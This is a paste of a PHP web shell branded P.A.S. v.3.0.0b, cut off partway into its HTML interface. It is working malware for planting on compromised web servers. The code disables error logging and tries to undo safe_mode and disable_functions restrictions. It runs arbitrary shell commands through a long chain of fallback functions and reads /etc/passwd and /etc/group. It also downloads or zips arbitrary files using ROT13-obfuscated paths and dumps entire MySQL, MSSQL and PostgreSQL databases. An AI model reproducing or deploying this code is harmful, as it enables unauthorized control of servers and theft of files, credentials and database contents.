· 8 years ago · Nov 18, 2017, 11:32 PM
1<?php
2@ini_set('log_errors_max_len', 0);
3@ini_restore('log_errors');
4@ini_restore('error_log');
5@ini_restore('error_reporting');
6@ini_set('log_errors', 0);
7@ini_set('error_log', NULL);
8@ini_set('error_reporting', NULL);
9@error_reporting(0);
10@ini_set('max_execution_time', 0);
11@set_time_limit(0);
12@ignore_user_abort(TRUE);
13@ini_set('memory_limit', '1000M');
14@ini_set('file_uploads', 1);
15@ini_restore('magic_quotes_runtime');
16@ini_restore('magic_quotes_sybase');
17@ini_set('magic_quotes_gpc', 0);
18@ini_set('magic_quotes_runtime', 0);
19@ini_set('magic_quotes_sybase', 0);
20@set_magic_quotes_runtime(0);
21@ini_restore('safe_mode');
22@ini_restore('open_basedir');
23@ini_restore('safe_mode_exec_dir');
24@ini_set('safe_mode', 0);
25@ini_set('open_basedir', NULL);
26@ini_set('safe_mode_exec_dir', '');
27@ini_restore('disable_function');
28@ini_set('disable_function', '');
29function ssa($a)
30{
31 foreach ($a as $k => $v)
32 if (is_array($v))
33 $a[$k] = ssa($v);
34 else
35 $a[$k] = stripslashes($v);
36 return ($a);
37}
38if (@get_magic_quotes_gpc())
39 $_POST = ssa($_POST);
40class zc
41{
42 var $cr = '';
43 var $fc = 0;
44 var $co = 0;
45 var $msm = 5242880;
46 var $msd = 52428800;
47 var $ig;
48 var $fs;
49 function zc($n = 'archive')
50 {
51 $this->ig = function_exists('gzopen');
52 header('Content-type: application/x-zip');
53 header('Content-Disposition: attachment; filename=' . $n . '_' . $_SERVER['HTTP_HOST'] . '_' . date('Y-m-d_H.i') . '.zip');
54 header('Content-Transfer-Encoding: binary');
55 header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
56 }
57 function add($a)
58 {
59 foreach ($a as $v)
60 if (@is_readable($v)) {
61 if (@is_dir($v))
62 $this->ad($v, $v);
63 elseif (@is_file($v))
64 $this->af($v, $v);
65 }
66 }
67 function ad($p, $n)
68 {
69 if ($d = @opendir($p)) {
70 while ($v = @readdir($d))
71 if ($v != '.' && $v != '..' && @is_readable($p . DIRECTORY_SEPARATOR . $v)) {
72 if (@is_dir($p . DIRECTORY_SEPARATOR . $v))
73 $this->ad($p . DIRECTORY_SEPARATOR . $v, $n . '/' . $v);
74 elseif (@is_file($p . DIRECTORY_SEPARATOR . $v))
75 $this->af($p . DIRECTORY_SEPARATOR . $v, $n . '/' . $v);
76 }
77 @closedir($d);
78 }
79 }
80 function af($p, $n)
81 {
82 $s = @stat($p);
83 if (!$s)
84 return;
85 $h1 = "\x14\x00\x08\x00" . (($this->ig && ($s[7] <= $this->msd)) ? "\x08" : "\x00") . "\x00" . $this->pd($s[9]);
86 $h2 = pack('v', strlen($n)) . "\x00\x00";
87 echo "\x50\x4b\x03\x04", $h1, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", $h2, $n;
88 if ($this->ig && ($s[7] <= $this->msm)) {
89 $b = @file_get_contents($p);
90 $crc = pack('V', crc32($b));
91 $b = gzdeflate($b);
92 $cs = strlen($b);
93 echo $b;
94 } elseif ($this->ig && ($s[7] <= $this->msd)) {
95 $t = @tempnam('/tmp/', '');
96 $f = @fopen($p, 'rb');
97 $g = @gzopen($t, 'wb');
98 while (!feof($f))
99 @gzwrite($g, @fread($f, 1048576));
100 @gzclose($g);
101 @fclose($f);
102 $f = @fopen($t, 'rb');
103 @fseek($f, 10);
104 while (!feof($f))
105 echo @fread($f, 1048576);
106 @fseek($f, -8, SEEK_END);
107 $crc = @fread($f, 4);
108 @fclose($f);
109 $cs = @filesize($t) - 10;
110 @unlink($t);
111 } else {
112 $cs = 0;
113 $crc = false;
114 $f = @fopen($p, 'rb');
115 while ($b = fread($f, 1048576)) {
116 $l = strlen($b);
117 $cc = crc32($b);
118 $cs += $l;
119 echo $b;
120 $b = '';
121 if ($crc)
122 $crc = $this->crc32c($crc, $cc, $l);
123 else
124 $crc = $cc;
125 }
126 @fclose($f);
127 $crc = pack('V', $crc);
128 }
129 $h3 = $crc . pack('V', $cs) . pack('V', $s[7]);
130 echo "\x50\x4b\x07\x08", $h3;
131 $this->cr .= "\x50\x4b\x01\x02\x00\x00" . $h1 . $h3 . $h2 . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . pack('V', $this->co) . $n;
132 $this->co += $cs + 46 + strlen($n);
133 ++$this->fc;
134 }
135 function of($n)
136 {
137 $this->fs['n'] = $n;
138 $h = "\x14\x00\x08\x00\x00\x00" . $this->pd(time());
139 $this->cr .= "\x50\x4b\x01\x02\x00\x00" . $h;
140 $this->fs['h2'] = pack('v', strlen($n)) . "\x00\x00";
141 echo "\x50\x4b\x03\x04", $h, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", $this->fs['h2'], $n;
142 $this->fs['cs'] = 0;
143 $this->fs['crc'] = false;
144 }
145 function wf($d)
146 {
147 $l = strlen($d);
148 $cc = crc32($d);
149 $this->fs['cs'] += $l;
150 if ($this->fs['crc'])
151 $this->fs['crc'] = $this->crc32c($this->fs['crc'], $cc, $l);
152 else
153 $this->fs['crc'] = $cc;
154 echo $d;
155 }
156 function cf()
157 {
158 $h = pack('V', $this->fs['crc']) . pack('V', $this->fs['cs']) . pack('V', $this->fs['cs']);
159 echo "\x50\x4b\x07\x08", $h;
160 $this->cr .= $h . $this->fs['h2'] . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . pack('V', $this->co) . $this->fs['n'];
161 $this->co += $this->fs['cs'] + 46 + strlen($this->fs['n']);
162 $this->fs = array();
163 ++$this->fc;
164 }
165 function pd($t)
166 {
167 $t = getdate($t);
168 return pack('v', ($t['hours'] << 11) + ($t['minutes'] << 5) + $t['seconds'] / 2) . pack('v', (($t['year'] - 1980) << 9) + ($t['mon'] << 5) + $t['mday']);
169 }
170 function cl()
171 {
172 $c = "Archive created by P.A.S. v.3.0.0b\nHost: : " . $_SERVER['HTTP_HOST'] . "\nDate : " . date('d-m-Y');
173 $this->fc = pack('v', $this->fc);
174 echo $this->cr, "\x50\x4b\x05\x06\x00\x00\x00\x00", $this->fc, $this->fc, pack('V', strlen($this->cr)), pack('V', $this->co), pack('v', strlen($c)), $c;
175 }
176 function crc32c($c1, $c2, $l)
177 {
178 $o[0] = 0xedb88320;
179 $r = 1;
180 for ($i = 1; $i < 32; ++$i) {
181 $o[$i] = $r;
182 $r <<= 1;
183 }
184 $this->cgms($e, $o);
185 $this->cgms($o, $e);
186 do {
187 $this->cgms($e, $o);
188 if ($l & 1)
189 $c1 = $this->cgmt($e, $c1);
190 $l >>= 1;
191 if ($l == 0)
192 break;
193 $this->cgms($o, $e);
194 if ($l & 1)
195 $c1 = $this->cgmt($o, $c1);
196 $l >>= 1;
197 } while ($l != 0);
198 return $c1 ^ $c2;
199 }
200 function cgms(&$s, &$m)
201 {
202 for ($i = 0; $i < 32; ++$i)
203 $s[$i] = $this->cgmt($m, $m[$i]);
204 }
205 function cgmt(&$m, $v)
206 {
207 $s = $i = 0;
208 while ($v) {
209 if ($v & 1)
210 $s ^= $m[$i];
211 $v = ($v >> 1) & 0x7FFFFFFF;
212 ++$i;
213 }
214 return $s;
215 }
216}
217class sc
218{
219 var $tp = '';
220 var $cl = NULL;
221 var $cs = '';
222 var $rs = NULL;
223 var $sv = NULL;
224 function sc($tp)
225 {
226 $this->tp = $tp;
227 }
228 function cn($ha, $hp, $un, $up)
229 {
230 switch ($this->tp) {
231 case 'mysql':
232 $p = empty($hp) ? '' : ':' . $hp;
233 if ($this->cl = @mysql_connect($ha . $p, $un, $up, TRUE)) {
234 @mysql_query('SET NAMES utf8', $this->cl);
235 $this->sv = @mysql_get_server_info($this->cl);
236 }
237 break;
238 case 'mssql':
239 $p = empty($hp) ? '' : ',' . $hp;
240 $this->cl = @mssql_connect($ha . $p, $un, $up, TRUE);
241 break;
242 case 'pg':
243 $p = empty($hp) ? '' : ' port=' . $hp;
244 $this->cs = $cs = 'host=' . $ha . $p . ' user=' . $un . ' password=' . $up;
245 $this->cl = @pg_connect($cs);
246 break;
247 }
248 if ($this->cl)
249 return TRUE;
250 else
251 return FALSE;
252 }
253 function sd($n)
254 {
255 switch ($this->tp) {
256 case 'mysql':
257 @mysql_select_db($n, $this->cl);
258 break;
259 case 'mssql':
260 @mssql_select_db($n, $this->cl);
261 break;
262 case 'pg':
263 @pg_close($this->cl);
264 $this->cl = @pg_connect($this->cs . ' dbname=' . $n);
265 break;
266 }
267 }
268 function q($q)
269 {
270 switch ($this->tp) {
271 case 'mysql':
272 $this->rs = @mysql_query($q, $this->cl);
273 break;
274 case 'mssql':
275 $this->rs = @mssql_query($q, $this->cl);
276 break;
277 case 'pg':
278 $this->rs = @pg_query($this->cl, $q);
279 break;
280 }
281 return $this->rs;
282 }
283 function ql($d, $t, $p, $l)
284 {
285 switch ($this->tp) {
286 case 'mysql':
287 $p = ($p - 1) * $l;
288 $q = 'SELECT * FROM `' . $d . '`.`' . $t . '` LIMIT ' . $p . ',' . $l;
289 break;
290 case 'mssql':
291 $t = explode('.', $t, 2);
292 $p = $p * $l;
293 $q = 'SELECT TOP ' . $l . ' * FROM (SELECT TOP ' . $p . ' * FROM [' . $d . '].[' . $t[0] . '].[' . $t[1] . '] ORDER BY 1 DESC) T ORDER BY 1 ASC';
294 break;
295 case 'pg':
296 $p = ($p - 1) * $l;
297 $t = explode('.', $t, 2);
298 $q = 'SELECT * FROM "' . $d . '"."' . $t[0] . '"."' . $t[1] . '" LIMIT ' . $l . ' OFFSET ' . $p;
299 break;
300 }
301 return $q;
302 }
303 function ld()
304 {
305 switch ($this->tp) {
306 case 'mysql':
307 $this->rs = function_exists('mysql_list_dbs') ? @mysql_list_dbs($this->cl) : @mysql_query('SHOW DATABASES', $this->cl);
308 if (@mysql_num_rows($this->rs) == 0 && $this->sv[0] > '4')
309 $this->rs = @mysql_query('SELECT schema_name FROM information_schema.schemata', $this->cl);
310 break;
311 case 'mssql':
312 if ((!$this->rs = @mssql_query('SELECT name FROM sys.databases', $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
313 if ((!$this->rs = @mssql_query('SELECT name FROM sys.sysdatabases', $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
314 if ((!$this->rs = @mssql_query('EXEC sys.sp_databases', $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
315 if ((!$this->rs = @mssql_query('EXEC sys.sp_helpdb', $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
316 $this->rs = @mssql_query('EXEC sys.sp_oledb_database', $this->cl);
317 break;
318 case 'pg':
319 if ((!$this->rs = @pg_query($this->cl, 'SELECT datname FROM pg_catalog.pg_database WHERE NOT datistemplate')) || @pg_num_rows($this->rs) == 0)
320 $this->rs = @pg_query($this->cl, 'SELECT datname FROM pg_catalog.pg_stat_database WHERE numbackends!=0');
321 break;
322 }
323 return $this->rs;
324 }
325 function lt($n)
326 {
327 switch ($this->tp) {
328 case 'mysql':
329 $this->rs = function_exists('mysql_list_tables') ? @mysql_list_tables($n, $this->cl) : @mysql_query('SHOW TABLES FROM `' . $n . '`', $this->cl);
330 if (@mysql_num_rows($this->rs) == 0 && $this->sv[0] > '4')
331 $this->rs = @mysql_query("SELECT table_name FROM information_schema.tables WHERE table_schema='" . $n . "'", $this->cl);
332 break;
333 case 'mssql':
334 if ((!$this->rs = @mssql_query("SELECT table_schema+'.'+table_name FROM [" . $n . "].[information_schema].[tables] ORDER BY table_schema", $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
335 if ((!$this->rs = @mssql_query("SELECT schema_name(schema_id)+'.'+name FROM [" . $n . "].[sys].[tables] ORDER BY schema_id", $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
336 if ((!$this->rs = @mssql_query("SELECT schema_name(schema_id)+'.'+name FROM [" . $n . "].[sys].[objects] WHERE type='U' ORDER BY schema_id", $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
337 $this->rs = @mssql_query("SELECT schema_name(schema_id)+'.'+name FROM [" . $n . "].[sys].[all_objects] WHERE type='U' ORDER BY schema_id", $this->cl);
338 break;
339 case 'pg':
340 @pg_close($this->cl);
341 $this->cl = @pg_connect($this->cs . ' dbname=' . $n);
342 if ((!$this->rs = @pg_query($this->cl, 'SELECT table_schema||\'.\'||table_name FROM "' . $n . '"."information_schema"."tables" WHERE table_schema!=\'pg_catalog\' AND table_schema!=\'information_schema\' ORDER BY table_schema')) || @pg_num_rows($this->rs) == 0)
343 if ((!$this->rs = @pg_query($this->cl, 'SELECT schemaname||\'.\'||tablename FROM "' . $n . '"."pg_catalog"."pg_tables" WHERE schemaname!=\'pg_catalog\' AND schemaname!=\'information_schema\' ORDER BY schemaname')) || @pg_num_rows($this->rs) == 0)
344 if ((!$this->rs = @pg_query($this->cl, 'SELECT schemaname||\'.\'||relname FROM "' . $n . '"."pg_catalog"."pg_stat_all_tables" WHERE schemaname!=\'pg_catalog\' AND schemaname!=\'pg_toast\' AND schemaname!=\'information_schema\' ORDER BY schemaname')) || @pg_num_rows($this->rs) == 0)
345 $this->rs = @pg_query($this->cl, 'SELECT schemaname||\'.\'||relname FROM "' . $n . '"."pg_catalog"."pg_statio_all_tables" where schemaname!=\'pg_catalog\' AND schemaname!=\'pg_toast\' AND schemaname!=\'information_schema\' ORDER BY schemaname');
346 break;
347 }
348 return $this->rs;
349 }
350 function ts($d, $t)
351 {
352 switch ($this->tp) {
353 case 'mysql':
354 if ($this->sv[0] > '4' && $r = @mysql_query("SELECT table_rows FROM information_schema.tables WHERE table_schema='" . $d . "' AND table_name='" . $t . "'", $this->cl))
355 return (int) @mysql_result($r, 0, 0);
356 else {
357 $r = @mysql_query('SELECT COUNT(*) FROM `' . $d . '`.`' . $t . '`', $this->cl);
358 return (int) @mysql_result($r, 0, 0);
359 }
360 break;
361 case 'mssql':
362 $t = explode('.', $t, 2);
363 $r = @mssql_query('SELECT COUNT(*) FROM [' . $d . '].[' . $t[0] . '].[' . $t[1] . ']', $this->cl);
364 return (int) @mssql_result($r, 0, 0);
365 break;
366 case 'pg':
367 $t = explode('.', $t, 2);
368 if (!$r = @pg_query($this->cl, 'SELECT n_live_tup FROM "' . $d . '"."pg_catalog"."pg_stat_all_tables" WHERE schemaname=\'' . $t[0] . '\' AND relname=\'' . $t[1] . '\''))
369 $r = @pg_query($this->cl, 'SELECT COUNT(*) FROM "' . $d . '"."' . $t[0] . '"."' . $t[1] . '"');
370 return (int) @pg_fetch_result($r, 0, 0);
371 break;
372 }
373 }
374 function fv($o, $r = NULL)
375 {
376 if ($r == NULL)
377 $r = $this->rs;
378 if ($this->tp == 'pg')
379 $f = 'pg_fetch_result';
380 else
381 $f = $this->tp . '_result';
382 return @$f($r, $o, 0);
383 }
384 function fn($o)
385 {
386 $f = $this->tp . '_field_name';
387 return @$f($this->rs, $o);
388 }
389 function fr()
390 {
391 $f = $this->tp . '_fetch_row';
392 return @$f($r = $this->rs);
393 }
394 function e()
395 {
396 switch ($this->tp) {
397 case 'mysql':
398 return @mysql_error($this->cl);
399 break;
400 case 'mssql':
401 return @mssql_get_last_message();
402 break;
403 case 'pg':
404 return @pg_last_error($this->cl);
405 break;
406 }
407 }
408 function dt($d, $t, &$f)
409 {
410 switch ($this->tp) {
411 case 'mysql':
412 $f->wf("\n-- \n-- " . $t . "\n-- \nDROP TABLE IF EXISTS `" . $t . "`;\n");
413 @mysql_query('SET SQL_QUOTE_SHOW_CREATE=1', $this->cl);
414 $q = @mysql_query('SHOW CREATE TABLE `' . $d . '`.`' . $t . '`', $this->cl);
415 $q = @mysql_fetch_row($q);
416 $f->wf(preg_replace('/(default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP|DEFAULT CHARSET=\w+|COLLATE=\w+|character set \w+|collate \w+)/i', '/*!40101 \\1 */', $q[1]) . ";\n\n");
417 $q = @mysql_unbuffered_query('SELECT * FROM `' . $d . '`.`' . $t . '`', $this->cl);
418 if ($r = @mysql_fetch_row($q)) {
419 $f->wf('INSERT INTO `' . $d . '`.`' . $t . '` VALUES ');
420 $r = array_map('mysql_real_escape_string', $r);
421 $f->wf("\n('" . implode("', '", $r) . "')");
422 while ($r = @mysql_fetch_row($q)) {
423 $r = array_map('mysql_real_escape_string', $r);
424 $f->wf(",\n('" . implode("', '", $r) . "')");
425 }
426 $f->wf(";\n");
427 }
428 break;
429 case 'mssql':
430 $t = explode('.', $t, 2);
431 $f->wf("\n-- \n-- " . $t[0] . "." . $t[1] . "\n-- \nIF EXISTS(SELECT table_name FROM information_schema.tables WHERE table_schema='" . $t[0] . "' AND table_name='" . $t[1] . "') DROP TABLE [" . $t[0] . "].[" . $t[1] . "];\nCREATE TABLE [" . $t[0] . "].[" . $t[1] . "] ( ");
432 $q = "SELECT '['+column_name+']', '['+data_type+']', case when character_maximum_length IS NOT NULL then '('+ cast( character_maximum_length as varchar(255)) +')' end, case when is_nullable='no' then 'NOT NULL' end, case when column_default IS NOT NULL then 'DEFAULT '+column_default end FROM " . $d . ".information_schema.columns WHERE table_schema='" . $t[0] . "' AND table_name='" . $t[1] . "'";
433 $q = @mssql_query($q, $this->cl);
434 $c = array();
435 while ($r = @mssql_fetch_row($q))
436 $c[] = implode(' ', $r);
437 $f->wf(implode(', ', $c) . ");\n\n");
438 $q = @mssql_query('SELECT * FROM [' . $d . '].[' . $t[0] . '].[' . $t[1] . ']', $this->cl);
439 if ($r = @mssql_fetch_row($q)) {
440 $f->wf('INSERT INTO [' . $t[0] . '].[' . $t[1] . '] VALUES ');
441 $r = array_map('addslashes', $r);
442 $f->wf("\n('" . implode("', '", $r) . "')");
443 while ($r = @mssql_fetch_row($q)) {
444 $r = array_map('addslashes', $r);
445 $f->wf(",\n('" . implode("', '", $r) . "')");
446 }
447 $f->wf(";\n");
448 }
449 break;
450 case 'pg':
451 @pg_close($this->cl);
452 $this->cl = @pg_connect($this->cs . ' dbname=' . $d);
453 $t = explode('.', $t, 2);
454 $f->wf("\n-- \n-- " . $t[0] . "." . $t[1] . "\n-- \n" . 'DROP TABLE IF EXISTS "' . $t[0] . '"."' . $t[1] . '";' . "\n" . 'CREATE TABLE "' . $t[0] . '"."' . $t[1] . '" ( ');
455 $q = "SELECT '\"'||a.attname||'\"', format_type(a.atttypid, a.atttypmod), CASE WHEN a.attnotnull then 'NOT NULL' end FROM pg_class c, pg_attribute a WHERE c.relname='" . $t[1] . "' AND a.attnum>0 AND a.attrelid=c.oid AND c.relnamespace=(select oid from pg_namespace where nspname='" . $t[0] . "')";
456 $q = @pg_query($this->cl, $q);
457 $c = array();
458 while ($r = @pg_fetch_row($q))
459 $c[] = implode(' ', $r);
460 $f->wf(implode(', ', $c) . ");\n\n");
461 $q = @pg_query($this->cl, 'SELECT * FROM "' . $d . '"."' . $t[0] . '"."' . $t[1] . '"');
462 if ($r = @pg_fetch_row($q)) {
463 $f->wf('INSERT INTO "' . $t[0] . '"."' . $t[1] . '" VALUES ');
464 $r = array_map('pg_escape_string', $r);
465 $f->wf("\n('" . implode("', '", $r) . "')");
466 while ($r = @pg_fetch_row($q)) {
467 $r = array_map('pg_escape_string', $r);
468 $f->wf(",\n('" . implode("', '", $r) . "')");
469 }
470 $f->wf(";\n");
471 }
472 break;
473 }
474 }
475 function cl()
476 {
477 $f = $this->tp . '_close';
478 @$f($this->cl);
479 }
480}
481if (isset($_POST['fdw']) || isset($_POST['fdwa'])) {
482 @session_write_close();
483 if (isset($_POST['fdwa']) && !empty($_POST['fc'])) {
484 $_POST['fc'] = array_map('str_rot13', $_POST['fc']);
485 $z = new zc();
486 $z->add($_POST['fc']);
487 $z->cl();
488 die();
489 } elseif (isset($_POST['fdw'])) {
490 $_POST['fdw'] = str_rot13($_POST['fdw']);
491 header('Content-type: multipart/octet-stream');
492 header('Content-Disposition: attachment; filename=' . basename($_POST['fdw']));
493 header('Content-Transfer-Encoding: binary');
494 header('Accept-Ranges: bytes');
495 header('Content-Length: ' . @filesize($_POST['fdw']));
496 header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
497 @readfile($_POST['fdw']);
498 die();
499 }
500}
501if (isset($_POST['sdd']) && !empty($_POST['cd'])) {
502 $z = new zc('SQL_dump');
503 @session_start();
504 $c = $_SESSION['DB'];
505 @session_write_close();
506 $s = new sc($c['tp']);
507 if ($s->cn($c['ha'], $c['hp'], $c['un'], $c['up'])) {
508 foreach ($_POST['cd'] as $v) {
509 $z->of($v . '.txt');
510 $z->wf('-- -------------------------------- --' . "\n" . '-- [ SQL Dump created by P.A.S. ] --' . "\n" . '-- [' . str_pad($_SERVER['HTTP_HOST'], 30, ' ', STR_PAD_BOTH) . '] --' . "\n" . '-- [ ' . date('Y/m/d') . ' ] --' . "\n" . '-- -------------------------------- --' . "\n");
511 $s->lt($v);
512 $i = 0;
513 while ($t = $s->fv($i++))
514 $s->dt($v, $t, $z);
515 $z->cf();
516 }
517 $s->cl();
518 }
519 $z->cl();
520 die();
521}
522if (isset($_POST['sdt']) && !empty($_POST['ct'])) {
523 class ce
524 {
525 function me()
526 {
527 }
528 function wf($s)
529 {
530 echo $s;
531 }
532 }
533 $e = new ce();
534 header('Content-type: multipart/octet-stream');
535 header('Content-Disposition: attachment; filename=SQL_dump_' . $_SERVER['HTTP_HOST'] . '_' . date('Y-m-d_H.i') . '.txt');
536 header('Content-Transfer-Encoding: binary');
537 header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
538 echo '-- -------------------------------- --', "\n", '-- [ SQL Dump created by P.A.S. ] --', "\n", '-- [', str_pad($_SERVER['HTTP_HOST'], 30, ' ', STR_PAD_BOTH), '] --', "\n", '-- [ ', date('Y/m/d'), ' ] --', "\n", '-- -------------------------------- --', "\n";
539 @session_start();
540 $c = $_SESSION['DB'];
541 @session_write_close();
542 $s = new sc($c['tp']);
543 if ($s->cn($c['ha'], $c['hp'], $c['un'], $c['up'])) {
544 foreach ($_POST['ct'] as $v)
545 $s->dt($c['db'], $v, $e);
546 $s->cl();
547 }
548 die();
549}
550function mt()
551{
552 list($usec, $sec) = explode(' ', microtime());
553 return ((float) $usec + (float) $sec);
554}
555define('ST', mt());
556define('IW', strtolower(substr(PHP_OS, 0, 3)) == 'win');
557@session_start();
558if (!empty($_POST['cs']))
559 $_SESSION['CS'] = $_POST['cs'];
560elseif (empty($_SESSION['CS']))
561 $_SESSION['CS'] = 'UTF-8';
562if (empty($_SESSION['CP']) || isset($_POST['gh']))
563 $_SESSION['CP'] = @dirname($_SERVER['SCRIPT_FILENAME']);
564elseif (isset($_POST['fp']) || isset($_POST['fpr'])) {
565 if (isset($_POST['fpr']))
566 $_POST['fp'] = str_rot13($_POST['fpr']);
567 if (@is_file($_POST['fp'])) {
568 $_SESSION['CP'] = @dirname($_POST['fp']);
569 $_POST['fef'] = $_POST['fp'];
570 } elseif (@is_dir($_POST['fp']))
571 $_SESSION['CP'] = $_POST['fp'];
572 $_SESSION['CP'] = @realpath($_SESSION['CP']);
573}
574if (IW)
575 $_SESSION['CP'] = str_replace('\\', '/', $_SESSION['CP']);
576if (substr($_SESSION['CP'], -1) != '/')
577 $_SESSION['CP'] .= '/';
578@chdir($_SESSION['CP']);
579define('PE', function_exists('posix_geteuid'));
580$ui = array();
581$gi = array();
582if (!PE && !IW) {
583 if (@is_readable('/etc/passwd')) {
584 $a = file('/etc/passwd');
585 foreach ($a as $v) {
586 $v = explode(':', $v);
587 $ui[$v[2]] = $v[0];
588 }
589 }
590 if (@is_readable('/etc/group')) {
591 $a = file('/etc/group');
592 foreach ($a as $v) {
593 $v = explode(':', $v);
594 $gi[$v[2]] = $v[0];
595 }
596 }
597}
598function sm($m, $t)
599{
600 echo '<fieldset class="' . $t . '">', htmlspecialchars($m), '</fieldset>';
601}
602function ctf($c)
603{
604 $t = @tempnam('/tmp/', '');
605 $f = @fopen($t, 'w');
606 @fwrite($f, $c);
607 @fclose($f);
608 return $t;
609}
610function se($c)
611{
612 @ob_start();
613 if ($r = @`$c`)
614 echo $r;
615 elseif (function_exists('exec')) {
616 @exec($c, $r);
617 echo @implode("\n", $r);
618 } elseif (function_exists('system'))
619 @system($c);
620 elseif (function_exists('shell_exec'))
621 echo @shell_exec($c);
622 elseif (function_exists('passthru'))
623 @passthru($c);
624 elseif (is_resource($f = @popen($c, 'r'))) {
625 while (!@feof($f))
626 echo @fread($f, 1024);
627 @pclose($f);
628 } elseif (is_resource($f = @proc_open($c, array(
629 array(
630 'pipe',
631 'r'
632 ),
633 array(
634 'pipe',
635 'w'
636 ),
637 array(
638 'pipe',
639 'a'
640 )
641 ), $p))) {
642 echo @stream_get_contents($p[1]);
643 @proc_close($c);
644 } elseif (function_exists('pcntl_exec'))
645 @pcntl_exec('/bin/sh -c "' . $c . '"');
646 elseif (is_resource($f = @expect_popen($c))) {
647 while (!@feof($f))
648 echo @fread($f, 1024);
649 @fclose($f);
650 } elseif (is_resource($f = @fopen('expect://' . $c, 'r'))) {
651 while (!@feof($f))
652 echo @fread($f, 1024);
653 @fclose($f);
654 }
655 echo htmlspecialchars(@ob_get_clean());
656}
657@header("Content-Type: text/html; charset=" . $_SESSION['CS']);
658?><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"/><html> <head> <meta http-equiv="Content-Type" content="text/html; charset=<?php
659echo $_SESSION['CS'];
660?>"/> <title><?php
661echo htmlspecialchars($_SERVER['SERVER_NAME']);
662?></title> <style> html {margin:0; padding:0; background-color:#4a4a4a}body {margin:0px auto; padding:0; width:1000px; font:normal 11px Verdana; color:#bfbfbf; border:1px solid #7c7c7c; background:#000000}a, a:hover, a:visited {color:#aaaaaa; text-decoration:none} fieldset {margin:5px 3px; padding:3px 5px; font-weight:bold; border:1px solid #444444; background:#202020}legend {padding:3px 10px; min-width:90px; border:1px solid #444444; background:#202020} fieldset.head {margin-top:3px}fieldset.menu {padding:2px 0px; text-align:center}fieldset.nav {padding:5px}fieldset.e, fieldset.i {margin:8px; padding:6px 0px 6px 0px; text-align:center; background:#3f3f3f}fieldset.e {border-color:#ee0000}fieldset.i {border-color:#0000ee} table {margin:0; padding:0; table-layout:fixed; font:normal 11px Verdana; border-collapse:collapse} table.head {border:none}table.head th {text-align:left}table.head th, table.head td {padding:3px 0px}table.head td b {color:#cfcfcf} table.list {margin-top:5px; margin-bottom:20px; border:1px solid #000000; background:#202020}table.list th {padding:3px 10px}table.list td {padding:3px 5px}table.list tr.ok {color:green}table.list tr.fail {display:none} table.listf {margin:5px; width:990px; background:#202020} table.listf td, table.form td {padding:4px 3px}table.listf td div {display:inline; color:#555} table.list tr:hover, table.listf tr:hover, table.lists tr:hover td, table.listr tr:hover td {background:#333333}table.list th, table.listf th, table.listr th {color:#d0d0d0; border:1px solid #000000; background:#505050}table.list td, table.listf td, table.listr td {border:1px solid #000000}table.listp td {text-align:center}table.listp th {padding:2px 5px} table.listf th, table.lists th {padding:3px 0px; border:1px solid #707070} table.lists, table.listr {width:100%; background:#202020}table.lists td {padding:2px 0px; text-align:center; border:1px solid #000000}table.lists td div {display:none; position:absolute; margin-left:213px; margin-top:-18px; padding:1px 5px; text-align:left; background:#404040; border:1px solid #707070}table.lists tr:hover td div {display:block} table.listr {table-layout:auto}table.listr th {padding:2px 4px}table.listr td {padding:4px}table.listr td p {max-height:100px; overflow-y:auto} form {margin:0px; padding:2px 0px}button, input[type=submit], input[type=text], input[type=file], select, textarea, div.xmp {color:#aaaaaa; border:1px solid #7c7c7c; background:#444444}button:hover, input[type=submit]:hover, input[type=text]:hover, select:hover, textarea:hover {color:#eeeeee; border-color:#a0a0a0}button, input[type=submit] {margin:0; padding:1px 10px; font:normal 11px Verdana; white-space:pre;}input[type=text], input[type=file], select {margin:0px; padding:1px; font:normal 11px Verdana}input[type=text]:focus, textarea:focus {color:#eeeeee; background:#000000}input[type=checkbox]{margin:0; border:1px solid #000000; background:#3f3f3f}textarea {margin:2px 5px; padding:2px 3px; width:990px; height:300px}button::-moz-focus-inner, input[type=submit]::-moz-focus-inner{margin:0; padding:0px; border:0} fieldset.menu button {padding:2px 10px 3px 10px}fieldset.nav form {padding:0}fieldset.pag form {display:inline}fieldset.footer form {margin:0; padding:0} table.listf button[type=submit] {margin:0px 2px; padding:0; font:normal 11px Verdana; border:none; background:none}table.listf th input[type=submit] {margin:5px 5px 2px 1px; padding-bottom:2px; background:#000000}table.lists td input[type=submit] {width:100%; text-align:left; border:none; background:none}table.lists th input[type=submit] {margin:0; padding:0px 10px} div.xmp{margin:5px; padding:1px 2px; height:310px; overflow:auto; text-align:left; white-space:pre; font:normal 12px "Courier New" }div.ntwrk {float:left; margin:0; padding:0; width:250px}div.ntwrk fieldset {margin:10px 10px 25px 10px}div.ntwrk fieldset div {margin:8px 0px 5px 0px; font-weight:normal}</style> <script>function ca(v, f){ var cb=document.getElementById(f);for(i=1, n=cb.elements.length; i<n; i++){if(cb.elements[i].type=='checkbox') cb.elements[i].checked=v;}}</script> </head><body> <fieldset class="head"><table class="head"> <tr><th style="width:125px">Server address :</th><td><?php
663echo ($_SERVER['HTTP_HOST'] == $_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST'] . ' on ' . $_SERVER['SERVER_NAME'], ' (', ($_SERVER['SERVER_ADDR'] == ($i = gethostbyname($_SERVER['HTTP_HOST']))) ? $_SERVER['SERVER_ADDR'] : $i . ', ' . $_SERVER['SERVER_ADDR'], ') / ', @php_uname('n');
664?></td></tr><tr><th>Server OS :</th><td><?php
